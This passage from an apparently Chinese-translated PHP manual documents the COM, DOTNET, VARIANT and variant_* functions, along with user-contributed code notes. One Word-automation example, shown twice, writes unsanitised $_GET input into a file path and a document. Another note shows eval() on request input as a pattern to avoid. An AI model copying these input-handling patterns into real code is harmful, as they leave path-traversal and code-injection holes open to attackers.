use another Provider like this:

<?php
$conn = new COM("ADODB.Connection")
or die("Cannot start ADO");
$conn->Open("Provider=Microsoft.Jet.OLEDB.4.0; Data Source=./thefile.mdb;");
$rs = $conn->Execute("SELECT * FROM thetable");
?>
mstaiger at informatik dot uni-siegen dot de
24-Jan-2002 10:17
The example above (MS Word) is quiet unsatisfying, as I find. Especially since I couldn't find anybody who actually got it running, including myself.

You might therefore give this Powerpoint-example a chance:
----------------------------------
#Instantiate a PowerPoint object.
$ppoint = new COM("PowerPoint.application") or die("Unable to instantiate PowerPoint");

<?php
#Create a new presentation
$ppoint->Presentations->Add() or die ("Could not create presentation");

//Add a slide
$slide=$ppoint->Presentations[1]->Slides->Add(1,1);

//Get the name of this slide
$slidename = $slide->Name();
echo"<br>slidename : $slidename";

//Change the name of this new slide
$slide->Name = "New Slidename";
$slidename = $slide->Name();
echo"<br>NEW slidename : $slidename";

//Save the presentation
$ppoint->Presentations[1]->SaveAs("c:/InetPub/www/test.ppt");
$ppoint->Presentations[1]->Close();

//closing powerpoint
$ppoint->Quit();

//free the object
$ppoint->Release();
$ppoint = null;
-----------------------
?>

the config is :
w2k-server/office2k/iis5/php 4.1.1 isapi

If you happen to run into a working word2k-example, please let me know.

Marc
add a note add a note

后退 | 起点 | 前进
COM 和 .Net（Windows）函数 | 上一级 | DOTNET


DOTNET

(no version information, might be only in CVS)

DOTNET -- DOTNET class

大纲

$obj = new DOTNET("assembly", "classname")

Description

The DOTNET class allows you to instantiate a class from a .Net assembly and call its methods and access its properties.

Methods

string DOTNET::DOTNET ( string assembly_name, string class_name [, int codepage] )

DOTNET class constructor. assembly_name specifies which assembly should be loaded, and class_name specifices which class in that assembly to instantiate. You may optionally specify a codepage to use for unicode string transformations; see the COM class for more details on code pages.

The returned object is an overloaded object, which means that PHP does not see any fixed methods as it does with regular classes; instead, any property or method accesses are passed through to COM and from there to DOTNET. In other words, the .Net object is mapped through the COM interoperability layer provided by the .Net runtime.

Once you have created a DOTNET object, PHP treats it identically to any other COM object; all the same rules apply.

例子 1. DOTNET example

<?php
  $stack = new DOTNET("mscorlib", "System.Collections.Stack");
  $stack->Push(".Net");
  $stack->Push("Hello ");
  echo $stack->Pop() . $stack->Pop();
?>

注: You need to install the .Net runtime on your web server to take advantage of this feature.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
COM | 上一级 | VARIANT


VARIANT

(no version information, might be only in CVS)

VARIANT -- VARIANT 类

大纲

$vVar = new VARIANT($var)

描述

用于将变量封装进 VARIANT 结构中的简单容器。

方法

string VARIANT::VARIANT ( [mixed value [, int type [, int codepage]]] )

VARIANT 类构造函数。参数：

value

初始值。若省略则创建一个 VT_EMPTY 对象。

type

指定 VARIANT 对象的内容类型。可用的值为 VT_UI1、VT_UI2、VT_UI4、VT_I1、VT_I2、VT_I4、VT_R4、VT_R8、VT_INT、VT_UINT、VT_BOOL、VT_ERROR、VT_CY、VT_DATE、VT_BSTR、VT_DECIMAL、VT_UNKNOWN、VT_DISPATCH 和 VT_VARIANT。这些值相互排斥，但是可以使用 VT_BYREF 将它们联合起来指定为一个值。若省略，则使用参数 value 的类型。额外信息请查阅 msdn 库。

codepage

指定用于将 PHP 字符串（php-strings）转换成 UNICODE 字符串（unicode-strings）的代码页，反之亦然。可用的值为 CP_ACP、CP_MACCP、CP_OEMCP、CP_SYMBOL、CP_THREAD_ACP, CP_UTF7 和 CP_UTF8。

add a note add a note User Contributed Notes
mark dot pearson at capita dot co dot uk
30-Oct-2003 03:51
Running PHP 4.3.2 on Windows 2000 I had to use the following expression to create an empty Variant:

<?php
 $empty = new Variant(null);
 print $empty->type //    ==>  1
?>

NOT

<?php
 $empty = new Variant();
 print $empty->type //    ==>  0
?>

The two expressions return different Variant type values!
richard dot quadling at carval dot co dot uk
26-Feb-2003 09:50
With thanks to Harald Radi and Wez Furlong.

Some VBA functions have optional parameters. Sometimes the parameters you want to pass are not consecutive.

e.g.

GoTo What:=wdGoToBookmark, Name="BookMarkName"
GoTo(wdGoToBookmark,,,"BookMarkName)

In PHP, the "blank" parameters need to be empty.

Which is ...

<?php
// Some servers may have an auto timeout, so take as long as you want.
set_time_limit(0);

// Show all errors, warnings and notices whilst developing.
error_reporting(E_ALL);

// Used as a placeholder in certain COM functions where no parameter is required.
$empty = new VARIANT();

// Load the appropriate type library.
com_load_typelib('Word.Application');

// Create an object to use.
$word = new COM('word.application') or die('Unable to load Word');
print "Loaded Word, version {$word->Version}\n";

// Open a new document with bookmarks of YourName and YourAge.
$word->Documents->Open('C:/Unfilled.DOC');

// Fill in the information from the form.
$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourName'); // Note use of wdGoToBookmark, from the typelibrary and the use of $empty.
$word->Selection->TypeText($_GET['YourName']);

$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourAge');
$word->Selection->TypeText($_GET['YourAge']);

// Save it, close word and finish.
$word->Documents[1]->SaveAs("C:/{$_GET['YourName']}.doc");
$word->Quit();
$word->Release();
$word = null;
print "Word closed.\n";
?>

The example document is ...

Hello [Bookmark of YourName], you are [Bookmark of YourAge] years old.

and it would be called ...

word.php?YourName=Richard%20Quadling&YourAge=35

Regards,

Richard.
alain at samoun dot com
03-Sep-2001 04:37
<?php
# I think that we need some examples of this thing:
# Lets define a real variant:
$varREAL=  new Variant("9.34 is a real number",VT_R8);
print "Value:". $varREAL->value; # Will print 9.34
# Now an integer
  $varINT=  new Variant("9.34 Printed as an integer",VT_INT);
print "Value:". $varINT->value; # Will print 9
# Now a string
  $varSTR=  new Variant("9.34 Printed as a string",VT_BSTR);
print "Value:". $varSTR->value; # Will 9.34 Printed as a string

?>
add a note add a note

后退 | 起点 | 前进
DOTNET | 上一级 | com_addref


com_addref

(PHP 4 >= 4.1.0)

com_addref -- 增加组件引用计数。[被废弃]

描述

void com_addref ( void )

增加组件引用计数。

警告

你应当不再需要使用该函数。

注: 该函数已经在 PHP 5 取消。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
VARIANT | 上一级 | com_create_guid


com_create_guid

(PHP 5)

com_create_guid -- Generate a globally unique identifier (GUID)

Description

string com_create_guid ( void )

Generates a Globally Unique Identifier (GUID) and returns it as a string. A GUID is generated in the same way as DCE UUID's, except that the Microsoft convention is to enclose a GUID in curly braces.

See also uuid_create() in the PECL uuid extension.

add a note add a note User Contributed Notes
Kristof_Polleunis at yahoo dot com
28-Apr-2005 11:16
A guid function that works in all php versions:

<?php
function guid(){
   if (function_exists('com_create_guid')){
       return com_create_guid();
   }else{
       mt_srand((double)microtime()*10000);//optional for php 4.2.0 and up.
       $charid = strtoupper(md5(uniqid(rand(), true)));
       $hyphen = chr(45);// "-"
       $uuid = chr(123)// "{"
               .substr($charid, 0, 8).$hyphen
               .substr($charid, 8, 4).$hyphen
               .substr($charid,12, 4).$hyphen
               .substr($charid,16, 4).$hyphen
               .substr($charid,20,12)
               .chr(125);// "}"
       return $uuid;
   }
}
echo guid();
?>
add a note add a note

后退 | 起点 | 前进
com_addref | 上一级 | com_event_sink


com_event_sink

(PHP 4 >= 4.2.3, PHP 5)

com_event_sink -- Connect events from a COM object to a PHP object

Description

bool com_event_sink ( variant comobject, object sinkobject [, mixed sinkinterface] )

Instructs COM to sink events generated by comobject into the PHP object sinkobject. PHP will attempt to use the default dispinterface type specified by the typelibrary associated with comobject, but you may override this choice by setting sinkinterface to the name of the dispinterface that you want to use.

sinkobject should be an instance of a class with methods named after those of the desired dispinterface; you may use com_print_typeinfo() to help generate a template class for this purpose.

Be careful how you use this feature; if you are doing something similar to the example below, then it doesn't really make sense to run it in a web server context.

例子 1. COM event sink example

<?php
class IEEventSinker {
  var $terminated = false;

  function ProgressChange($progress, $progressmax) {
    echo "Download progress: $progress / $progressmax\n";
  }

  function DocumentComplete(&$dom, $url) {
    echo "Document $url complete\n";
  }

  function OnQuit() {
    echo "Quit!\n";
    $this->terminated = true;
  }
}
$ie = new COM("InternetExplorer.Application");
// note that you don't need the & for PHP 5!
$sink =& new IEEventSinker();
com_event_sink($ie, $sink, "DWebBrowserEvents2");
$ie->Visible = true;
$ie->Navigate("http://www.php.net");
while(!$sink->terminated) {
  com_message_pump(4000);
}
$ie = null;
?>

See also com_print_typeinfo(), com_message_pump().

add a note add a note User Contributed Notes
fjortiz
14-Jul-2005 03:33
In case someone needs a skeleton sink for ADODB.Connection events:

class ADOConnectionEventSink    {

   function BeginTransComplete( $translevel, $objerror, $status, $objconn )    {
       return 0;
   }

   function CommitTransComplete( $objerror, $status, $objconn )    {
       return 0;
   }

   function RolbackTransComplete( $objerror, $status, $objconn )    {
       return 0;
   }

   function WillConnect ( $ConnectionString, $userid, $psword, $options, $status, $objconn )    {
       return 0;
   }

   function ConnectComplete ( $objerror, $status, $objconn)    {
       return 0;
   }

   function Disconnect( $status, $objConn )    {
       return 0;
   }

   function WillExecute ( $src, $cursortyp, $locktyp, $options, $status, $objcomm, $objrs, $objconn )    {
       return 0;
   }

   function ExecuteComplete ( $recaffected, $objerror, $status, $objcomm, $objrs, $objconn )    {
       return 0;
   }

   function InfoMessage ( $objerror, $status, $objconn)    {
       return 0;
   }
}

// later on...
$db = new COM("ADODB.Connection", NULL, $charPage);
$sink = new ADOConnectionEventSink();
com_event_sink($db, $sink, "ConnectionEvents");
//...
add a note add a note

后退 | 起点 | 前进
com_create_guid | 上一级 | com_get_active_object


com_get_active_object

(PHP 5)

com_get_active_object -- Returns a handle to an already running instance of a COM object

Description

variant com_get_active_object ( string progid [, int code_page] )

com_get_active_object() is similar to creating a new instance of a COM object, except that it will only return an object to your script if the object is already running. OLE applications use something known as the Running Object Table to allow well-known applications to be launched only once; this function exposes the COM library function GetActiveObject() to get a handle on a running instance.

progid must be either the ProgID or CLSID for the object that you want to access (for example Word.Application). code_page acts in precisely the same way that it does for the COM class.

If the requested object is running, it will be returned to your script just like any other COM object. Otherwise a com_exception will be raised. There are a variety of reasons why this function might fail, the most common being that the object is not already running. In that situation, the exception error code will be MK_E_UNAVAILABLE; you can use the getCode method of the exception object to check the exception code.

警告

Using com_get_active_object() in a web server context is not always a smart idea. Most COM/OLE applications are not designed to handle more than one client concurrently, even (or especially!) Microsoft Office. You should read Considerations for Server-Side Automation of Office for more information on the general issues involved.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
com_event_sink | 上一级 | com_get


com_get

(PHP 3 >= 3.0.3, PHP 4)

com_get -- 获取 COM 组件的属性值 [被废弃]

描述

mixed com_get ( resource com_object, string property )

返回由 com_object 所引用的 COM 对象的 property 属性值，出错则返回 FALSE。

例子 1. 不要使用 com_get() ，使用 OO 语法代替

<?php
// do this
$var = $obj->property;
// instead of this:
$var = com_get($obj, 'property');
?>

注: 本函数在 PHP 5 中不存在，应该使用常规的并更自然的面向对象语法来访问属性或调用方法。

add a note add a note User Contributed Notes
frak!
22-May-2003 10:36
This will also work as follows:

<?php
$var = $comobj->property;
?>
add a note add a note

后退 | 起点 | 前进
com_get_active_object | 上一级 | com_invoke


com_invoke

(PHP 4)

com_invoke -- 调用 COM 组件的方法。

描述

mixed com_invoke ( resource com_object, string function_name [, mixed function parameters, ...] )

com_invoke() 调用由 com_object 所引用的对象的方法。出错返回 FALSE，成功则返回 function_name 的返回值。

add a note add a note User Contributed Notes
tomer at parity-bit dot com
02-Feb-2005 04:21
Note that if you want to use a string to specify the method to call (e.g. a drop-down list to decide what to do to a server process) you can do this in three ways.

The first is to use this function, as in <?php com_invoke($obj, $_GET['func']); ?>
That's bad.

The second is to use eval(), as in <?php eval("\$obj->{$_GET['func']}();"); ?>
That's very very very *very* bad.

The third is to use call_user_func(), as in <?php call_user_func(array($obj, $_GET['func'])); ?>
That's very good.

Remember to validate the user input against a list of allowed methods if a non-admin is at the console.

http://php.net/manual/en/function.call-user-func.php
add a note add a note

后退 | 起点 | 前进
com_get | 上一级 | com_isenum


com_isenum

(PHP 4 >= 4.1.0)

com_isenum -- 获取一个 IEnumVariant

描述

void com_isenum ( object com_module )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
com_invoke | 上一级 | com_load_typelib


com_load_typelib

(PHP 4 >= 4.1.0, PHP 5)

com_load_typelib -- 装载一个 Typelib

描述

void com_load_typelib ( string typelib_name [, int case_insensitive] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
04-May-2004 10:18
In case any of you were wondering what com_load_typelib actually DOES, I have found that it loads constants\enums that the COM obeject has defined.  The example below is using the Nero COM object (from Nero Burning rom, version 6+).  The Nero object defines a bunch of constants, but they can not be used as PHP constants unless you use the mentioned function.  So the example below will work just fine:

<?php
$aNero = new COM("Nero.Nero") or die ("Nero didn't load, too bad");
com_load_typelib("Nero.Nero");
$aNero->GetDrives(NERO_MEDIA_CD);
?>

But this one will not, since PHP will return a message saying that the constant is undefined:

<?php
$aNero = new COM("Nero.Nero") or die ("Nero didn't load, too bad");
$aNero->GetDrives(NERO_MEDIA_CD);
?>

This one took me a while to figure out, hope it helps.

Also, check out http://www.php.net/manual/en/faq.com.php to find out how to get COM events working in PHP.
ojpp at webdevfm dot com
31-Jan-2004 10:33
Hello PHP community, I want to help in a problem I found in this COM built-in function: com_load_typelib(), when I executed it in order to open a COM Server process (for example: Word, Excel, etc.) I was in trouble to release the object from memory, I figured it out, this is the solution:

Change a configuration in the php.ini:

; autoregister constants of a components typlib on com_load()
com.autoregister_typelib = true

When com.autoregister_typelib directive is true, PHP parser manage the COM server type library, I hope it helps.
richard dot quadling at carval dot co dot uk
26-Feb-2003 09:55
<?php
// Some servers may have an auto timeout, so take as long as you want.
set_time_limit(0);

// Show all errors, warnings and notices whilst developing.
error_reporting(E_ALL);

// Used as a placeholder in certain COM functions where no parameter is required.
$empty = new VARIANT();

// Load the appropriate type library.
com_load_typelib('Word.Application');

// Create an object to use.
$word = new COM('word.application') or die('Unable to load Word');
print "Loaded Word, version {$word->Version}\n";

// Open a new document with bookmarks of YourName and YourAge.
$word->Documents->Open('C:/Unfilled.DOC');

// Fill in the information from the form.
$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourName'); // Note use of wdGoToBookmark, from the typelibrary and the use of $empty.
$word->Selection->TypeText($_GET['YourName']);

$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourAge');
$word->Selection->TypeText($_GET['YourAge']);

// Save it, close word and finish.
$word->Documents[1]->SaveAs("C:/{$_GET['YourName']}.doc");
$word->Quit();
$word->Release();
$word = null;
print "Word closed.\n";
?>

The example document is ...

Hello [Bookmark of YourName], you are [Bookmark of YourAge] years old.

and it would be called ...

word.php?YourName=Richard%20Quadling&YourAge=35

Regards,

Richard.
add a note add a note

后退 | 起点 | 前进
com_isenum | 上一级 | com_load


com_load

(PHP 4)

com_load -- 创建新的 COM 组件的引用

描述

string com_load ( string module_name [, string server_name [, int codepage]] )

com_load() 创建新的 COM 组件同时返回此组件的引用。失败则返回 FALSE。codepage 可用的值为：CP_ACP、CP_MACCP、CP_OEMCP、CP_SYMBOL、CP_THREAD_ACP, CP_UTF7 和 CP_UTF8。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
com_load_typelib | 上一级 | com_message_pump


com_message_pump

(PHP 4 >= 4.2.3, PHP 5)

com_message_pump -- Process COM messages, sleeping for up to timeoutms milliseconds

Description

bool com_message_pump ( [int timeoutms] )

This function will sleep for up to timeoutms milliseconds, or until a message arrives in the queue. If a message or messages arrives before the timeout, they will be dispatched, and the function will return TRUE. If the timeout occurs and no messages were processed, the return value will be FALSE. If you do not specify a value for timeoutms, then 0 will be assumed. A 0 value means that no waiting will be performed; if there are messages pending they will be dispatched as before; if there are no messages pending, the function will return FALSE immediately without sleeping.

The purpose of this function is to route COM calls between apartments and handle various synchronization issues. This allows your script to wait efficiently for events to be triggered, while still handling other events or running other code in the background. You should use it in a loop, as demonstrated by the example in the com_event_sink() function, until you are finished using event bound COM objects.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
com_load | 上一级 | com_print_typeinfo


com_print_typeinfo

(PHP 4 >= 4.2.3, PHP 5)

com_print_typeinfo -- Print out a PHP class definition for a dispatchable interface

Description

bool com_print_typeinfo ( object comobject [, string dispinterface [, bool wantsink]] )

The purpose of this function is to help generate a skeleton class for use as an event sink. You may also use it to generate a dump of any COM object, provided that it supports enough of the introspection interfaces, and that you know the name of the interface you want to display.

comobject should be either an instance of a COM object, or be the name of a typelibrary (which will be resolved according to the rules set out in com_load_typelib()). dispinterface is the name of an IDispatch descendant interface that you want to display. If wantsink is TRUE, the corresponding sink interface will be displayed instead.

See also com_event_sink(), com_load_typelib().

add a note add a note User Contributed Notes
csaba at alum dot mit dot edu
15-Feb-2005 04:49
com_print_typeinfo is really useful if you're trying to figure out what properties and methods you have access to.  For example, I might do:

<?php
   $oExplorer = new COM("Shell.Application");
   com_print_typeinfo($oExplorer);
?>

The first line shows me the class of the object (what VBScript calls 'typename'), in my case IShellDispatch4.  It's frequently the case that if you plunk that in as the second argument to com_print_typeinfo, you get way more methods/properties coming back.  Thus:

<?php
   $oExplorer = new COM("Shell.Application");
   com_print_typeinfo($oExplorer, "IShellDispatch4");
?>

Furthermore, you might get additional functions listed if you try lower number suffixes (or not).  At any rate, it would be useful for PHP to have a typename function like VBScript does.  For example, if you iterate through the Windows of $oExplorer you get both IE and Explorer windows and typename is the easy way to differentiate between them.  Here's what I'm using:

<?php
   function typeName($objCOM) {
   if (empty($objCOM)) return "no COM object";
   if (gettype($objCOM)!="object") return "not a COM object";
   ob_start();
   com_print_typeinfo($objCOM);
   $typeInfo = ob_get_contents();
   ob_end_clean();
   $pattern = "/^\\s*class (.*) \\{/";
   if (!($matchCnt = preg_match($pattern, $typeInfo, $aMatch))) return "Not found";
   return $aMatch[1];
}
?>

Csaba Gabor from Vienna
add a note add a note

后退 | 起点 | 前进
com_message_pump | 上一级 | com_propget


com_propget

(PHP 3 >= 3.0.3, PHP 4)

com_propget -- com_get() 的别名

描述

此函数是 com_get() 的别名。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
com_print_typeinfo | 上一级 | com_propput


com_propput

(PHP 3 >= 3.0.3, PHP 4)

com_propput -- com_set() 的别名

描述

此函数是 com_set() 的别名。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
com_propget | 上一级 | com_propset


com_propset

(PHP 3 >= 3.0.3, PHP 4)

com_propset -- com_set() 的别名

描述

此函数是 com_set() 的别名。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
com_propput | 上一级 | com_release


com_release

(PHP 4 >= 4.1.0)

com_release -- 减少组件引用计数。[被废弃]

描述

void com_release ( void )

减少组件引用计数。

警告

你应当不再需要使用该函数。

注: 该函数已经在 PHP 5 取消。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
com_propset | 上一级 | com_set


com_set

(PHP 3 >= 3.0.3, PHP 4)

com_set -- 给 COM 组件的属性赋值

描述

void com_set ( resource com_object, string property, mixed value )

设置由 com_object 所引用的对象的 property 属性值。成功则返回新设置的值，出错则返回 FALSE。

例子 1. 不要使用 com_set() ，使用 OO 语法代替

<?php
   // do this
   $obj->property = $value;
   // instead of this:
   com_set($obj, 'property', $value);
   ?>

注: 本函数在 PHP 5 中不存在，应该使用常规的并更自然的面向对象语法来访问属性或调用方法。

add a note add a note User Contributed Notes
dan at kuykendall dot org
16-Aug-2002 10:38
This should also work using the newer OOP style that is still undocumented.

<?php
$obj = new COM('Some.app');
$obj->somevar = 'somevalue';
?>
add a note add a note

后退 | 起点 | 前进
com_release | 上一级 | variant_abs


variant_abs

(PHP 5)

variant_abs -- Returns the absolute value of a variant

Description

mixed variant_abs ( mixed val )

Returns the absolute value of val.

See also abs().

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
com_set | 上一级 | variant_add


variant_add

(PHP 5)

variant_add -- "Adds" two variant values together and returns the result

Description

mixed variant_add ( mixed left, mixed right )

Adds left to right using the following rules (taken from the MSDN library), which correspond to those of Visual Basic:

表格 1. Variant Addition Rules

If | Then
Both expressions are of the string type | Concatenation
One expression is a string type and the other a character | Addition
One expression is numeric and the other is a string | Addition
Both expressions are numeric | Addition
Either expression is NULL | NULL is returned
Both expressions are empty | Integer subtype is returned

See also variant_sub().

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_abs | 上一级 | variant_and


variant_and

(PHP 5)

variant_and -- performs a bitwise AND operation between two variants and returns the result

Description

mixed variant_and ( mixed left, mixed right )

Performs a bitwise AND operation, according to the following truth table; note that this is slightly different from a regular AND operation.

表格 1. Variant AND Rules

If left is | If right is | then the result is
TRUE | TRUE | TRUE
TRUE | FALSE | FALSE
TRUE | NULL | NULL
FALSE | TRUE | FALSE
FALSE | FALSE | FALSE
FALSE | NULL | FALSE
NULL | TRUE | NULL
NULL | FALSE | FALSE
NULL | NULL | NULL

See also variant_or().

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_add | 上一级 | variant_cast


variant_cast

(PHP 5)

variant_cast -- Convert a variant into a new variant object of another type

Description

variant variant_cast ( variant variant, int type )

This function makes a copy of variant and then performs a variant cast operation to force the copy to have the type given by type. type should be one of the VT_XXX constants.

This function wraps VariantChangeType() in the COM library; consult MSDN for more information.

See also variant_set_type().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_and | 上一级 | variant_cat


variant_cat

(PHP 5)

variant_cat -- concatenates two variant values together and returns the result

Description

mixed variant_cat ( mixed left, mixed right )

Concatenates left with right and returns the result.

See also the 节 called 字符串运算符 在 15 章 for the string concatenation operator; this function is notionally equivalent to $left . $right.

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_cast | 上一级 | variant_cmp


variant_cmp

(PHP 5)

variant_cmp -- Compares two variants

Description

int variant_cmp ( mixed left, mixed right [, int lcid [, int flags]] )

Compares left with right and returns one of the following values:

表格 1. Variant Comparision Results

value | meaning
VARCMP_LT | left is less than right
VARCMP_EQ | left is equal to right
VARCMP_GT | left is greater than right
VARCMP_NULL | Either left, right or both are NULL

This function will only compare scalar values, not arrays or variant records.

lcid is a valid Locale Identifier to use when comparing strings (this affects string collation). flags can be one or more of the following values OR'd together, and affects string comparisons:

表格 2. Variant Comparision Flags

value | meaning
NORM_IGNORECASE | Compare case insensitively
NORM_IGNORENONSPACE | Ignore nonspacing characters
NORM_IGNORESYMBOLS | Ignore symbols
NORM_IGNOREWIDTH | Ignore string width
NORM_IGNOREKANATYPE | Ignore Kana type
NORM_IGNOREKASHIDA | Ignore Arabic kashida characters

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_cat | 上一级 | variant_date_from_timestamp


variant_date_from_timestamp

(PHP 5)

variant_date_from_timestamp -- Returns a variant date representation of a unix timestamp

Description

variant variant_date_from_timestamp ( int timestamp )

Converts timestamp from a unix timestamp value into a variant of type VT_DATE. This allows easier interopability between the unix-ish parts of PHP and COM.

See also variant_date_to_timestamp() for the inverse of this operation, mktime(), time().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_cmp | 上一级 | variant_date_to_timestamp


variant_date_to_timestamp

(PHP 5)

variant_date_to_timestamp -- Converts a variant date/time value to unix timestamp

Description

int variant_date_to_timestamp ( variant variant )

Converts variant from a VT_DATE (or similar) value into a unix timestamp. This allows easier interopability between the unix-ish parts of PHP and COM.

See also variant_date_from_timestamp() for the inverse of this operation, date(), strftime().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_date_from_timestamp | 上一级 | variant_div


variant_div

(PHP 5)

variant_div -- Returns the result from dividing two variants

Description

mixed variant_div ( mixed left, mixed right )

Divides left by right and returns the result, subject to the following rules:

表格 1. Variant Division Rules

If | Then
Both expressions are of the string, date, character, boolean type | Double is returned
One expression is a string type and the other a character | Division and a double is returned
One expression is numeric and the other is a string | Division and a double is returned.
Both expressions are numeric | Division and a double is returned
Either expression is NULL | NULL is returned
right is empty and left is anything but empty | A com_exception with code DISP_E_DIVBYZERO is thrown
left is empty and right is anything but empty. | 0 as type double is returned
Both expressions are empty | A com_exception with code DISP_E_OVERFLOW is thrown

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_date_to_timestamp | 上一级 | variant_eqv


variant_eqv

(PHP 5)

variant_eqv -- Performs a bitwise equivalence on two variants

Description

mixed variant_eqv ( mixed left, mixed right )

If each bit in left is equal to the corresponding bit in right then TRUE is returned, otherwise FALSE is returned.

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_div | 上一级 | variant_fix


variant_fix

(PHP 5)

variant_fix -- Returns the integer portion ? of a variant

Description

mixed variant_fix ( mixed variant )

If variant is negative, then the first negative integer greater than or equal to the variant is returned, otherwise returns the integer portion of the value of variant.

See also variant_int(),
variant_round(), floor(),
ceil(),
round().

警告

This documentation is based on the MSDN documentation; it appears that this function is either the same as variant_int(), or that there is an error in the MSDN documentation.

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_eqv | 上一级 | variant_get_type


variant_get_type

(PHP 5)

variant_get_type -- Returns the type of a variant object

Description

int variant_get_type ( variant variant )

